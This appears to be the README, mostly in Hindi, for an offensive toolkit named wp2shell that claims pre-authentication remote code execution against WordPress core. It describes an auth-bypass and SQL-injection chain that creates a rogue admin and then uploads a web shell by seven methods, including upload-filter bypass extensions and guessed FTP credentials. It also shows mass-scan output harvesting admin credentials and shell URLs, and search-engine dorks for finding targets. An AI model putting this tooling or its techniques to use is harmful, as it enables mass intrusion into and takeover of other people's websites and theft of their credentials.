wp2shell — वर्डप्रेस कोर प्री-ऑथ RCE

CVE-2026-63030 (बैच रूट कन्फ्यूज़न) + CVE-2026-60137 (SQL इंजेक्शन)

बिना किसी डिपेंडेंसी वाला शोषण टूलकिट, WordPress Core में wp2shell कमज़ोरियों की श्रृंखला के लिए। एक अकेला अनाम HTTP अनुरोध, बिना किसी प्लगइन की आवश्यकता के, एक डिफ़ॉल्ट WordPress इंस्टॉलेशन पर रिमोट कोड निष्पादन प्राप्त करता है।

---

📋 विषय-सूची

• प्रभावित संस्करण
• शोषण प्रवाह
• त्वरित आरंभ
• डेमो
• विशेषताएँ
• अपलोड विधियाँ
• आउटपुट फ़ाइलें
• डॉर्क / हंटिंग
• संदर्भ
• अस्वीकरण

---

🎯 प्रभावित संस्करण

रेंज	प्रभाव	फिक्स वर्शन
7.0.0 – 7.0.1	पूर्ण RCE	7.0.2
6.9.0 – 6.9.4	पूर्ण RCE	6.9.5
6.8.0 – 6.8.5	केवल SQLi	6.8.6

किसी प्लगइन या विशेष कॉन्फ़िगरेशन की आवश्यकता नहीं है। एक बिना प्लगइन वाली WordPress इंस्टॉलेशन भी शोषण योग्य है।

---

🔗 शोषण प्रवाह

┌─────────────────────────────────────┐
│  ANONYMOUS HTTP REQUEST             │
│  POST /?rest_route=/batch/v1        │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-63030: Batch Desync       │
│  Malformed path → WP_Error →        │
│  Array misalignment → Auth Bypass   │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-60137: SQL Injection      │
│  author__not_in → unsanitized →     │
│  UNION SELECT extraction            │
└────────────────┬────────────────────┘
                 │
     ┌───────────┼───────────┐
     │           │           │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed  │ │ Blind  │ │ Changeset    │
│ Seeding │ │ SQLi   │ │ Re-entrancy  │
│ Write   │ │ Read   │ │ Escalation   │
│ Cache   │ │ IDs    │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
     │           │           │
     └───────────┼───────────┘
                 │
┌────────────────▼────────────────────┐
│  ADMIN CREATED (pre-auth!)          │
│  → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘

---

🚀 त्वरित आरंभ

pip install requests
python exploit.py

╔══════════════════════════════════════════════════════════════╗
║  WP2SHELL — WordPress Core Pre-Auth RCE Exploit              ║
║  CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137    ║
║  Affected: WP 6.9.0 – 7.0.1  |  Fixed: 6.9.5 / 7.0.2       ║
╚══════════════════════════════════════════════════════════════╝

  [?] Target [url/list.txt] > list.txt
  [?] Threads [15] > 15

एकल टार्गेट

python exploit.py

  [?] Target [url/list.txt] > https://vulnerable-site.com

  ┌────────────────────────────────────────────────────────┐
  │                    SCAN CONFIGURATION                   │
  ├────────────────────────────────────────────────────────┤
  │  Targets : 1       Threads  : 1      Dir  : wp_core_rce│
  └────────────────────────────────────────────────────────┘

  ┌────────────────────────────────────────────────────────┐
  │  EXPLOIT SUCCESS                                       │
  ├────────────────────────────────────────────────────────┤
  │  Method : direct-plugin                                │
  │  Shell  : https://target.com/wp-content/plugins/...  │
  │  Login  : https://target.com/wp-login.php              │
  │  User   : wp2s_abc123def                               │
  │  Pass   : WP2S!xxxxxxxxxxxxxxxx                        │
  └────────────────────────────────────────────────────────┘

मास स्कैन

python exploit.py

┌────────────────────────────────────────────────────────┐
│                    SCAN CONFIGURATION                   │
├────────────────────────────────────────────────────────┤
│  Targets : 500    Threads  : 15     Dir  : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│            │                                        │              │
│  #/TOTAL   │ HOST                                   │ STATUS       │
├────────────┼────────────────────────────────────────┼──────────────┤
│    1/500   │ vulnerable-site.com                    │ SHELL        │
│            │   ↳ direct-plugin → https://vulnerabl...             │
│    2/500   │ target2.com                            │ ADM          │
│    3/500   │ safe-site.org                          │ SQLi         │
│    4/500   │ nope.com                               │ NO           │
│    5/500   │ jackpot.net                            │ SHELL        │
│            │   ↳ theme-editor → https://jackpot.ne...              │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│  SHELL     2   ADMIN    3   SQLi   15   TOTAL    50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│  result.txt         │  admin credentials               │
│  result_upload.txt  │  shell upload URLs               │
│  log/scanned.txt    │  scanned hosts                   │
└────────────────────────────────────────────────────────┘

---

✨ विशेषताएँ

• शून्य निर्भरता — केवल Python 3.11+ स्टैंडर्ड लाइब्रेरी (requests केवल expander के लिए)
• मल्टी-थ्रेडेड — डिफ़ॉल्ट 15 थ्रेड, अधिकतम 30
• ऑटो-रिज़्यूम — log/scanned.txt पहले से स्कैन किए गए टार्गेट्स को छोड़ देता है
• साइलेंट बैच मोड — स्वच्छ तालिका आउटपुट, कोई लॉग स्पैम नहीं
• ऑटो-डिटेक्शन — WordPress + batch API + SQLi उपलब्धता जाँच
• 7 समानांतर अपलोड विधियाँ — फर्स्ट-विन रेस कंडीशन

---

📤 अपलोड विधियाँ

सभी 7 विधियाँ ThreadPoolExecutor के माध्यम से समानांतर रूप से निष्पादित होती हैं। पहली सफल विधि जीतती है और बाकी रद्द कर दी जाती हैं।

#	विधि	विवरण
1	direct-plugin	/wp-admin/plugin-install.php के माध्यम से zip अपलोड करें
2	direct-theme	/wp-admin/theme-install.php के माध्यम से zip अपलोड करें
3	rest-api	auth कुकी के साथ /wp-json/wp/v2/plugins पर zip POST करें
4	plugin-editor	/wp-admin/plugin-editor.php के माध्यम से सीधे PHP लिखें
5	theme-editor	सक्रिय थीम निर्देशिका में PHP लिखें
6	ftp-bypass	जब WordPress FTP क्रेडेंशियल माँगे तो उन्हें सबमिट करें
7	media-upload	मीडिया लाइब्रेरी के माध्यम से 15 एक्सटेंशन वेरिएंट के साथ PHP अपलोड करें

मीडिया अपलोड एक्सटेंशन: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP

आज़माए गए FTP क्रेडेंशियल: localhost / 127.0.0.1 के साथ root / www-data / WordPress एडमिन क्रेडेंशियल

---

📁 आउटपुट फ़ाइलें

फ़ाइल	सामग्री
result.txt	एडमिन क्रेडेंशियल: url.com/wp-login.php:user:pass
result_upload.txt	शेल URLs: shell_url | login_url:user:pass | method
log/scanned.txt	सभी स्कैन किए गए होस्ट (पुनः चलाने पर ऑटो-स्किप)

---

🔍 डॉर्क / हंटिंग

Shodan

http.title:"WordPress"
http.component:"WordPress"

Fofa

app="WordPress"
body="wp-json"
body="/batch/v1"

ZoomEye

app:"WordPress"
"/wp-json/batch/v1"

Censys

services.http.response.body:"/wp-json/batch/v1"

---

📚 संदर्भ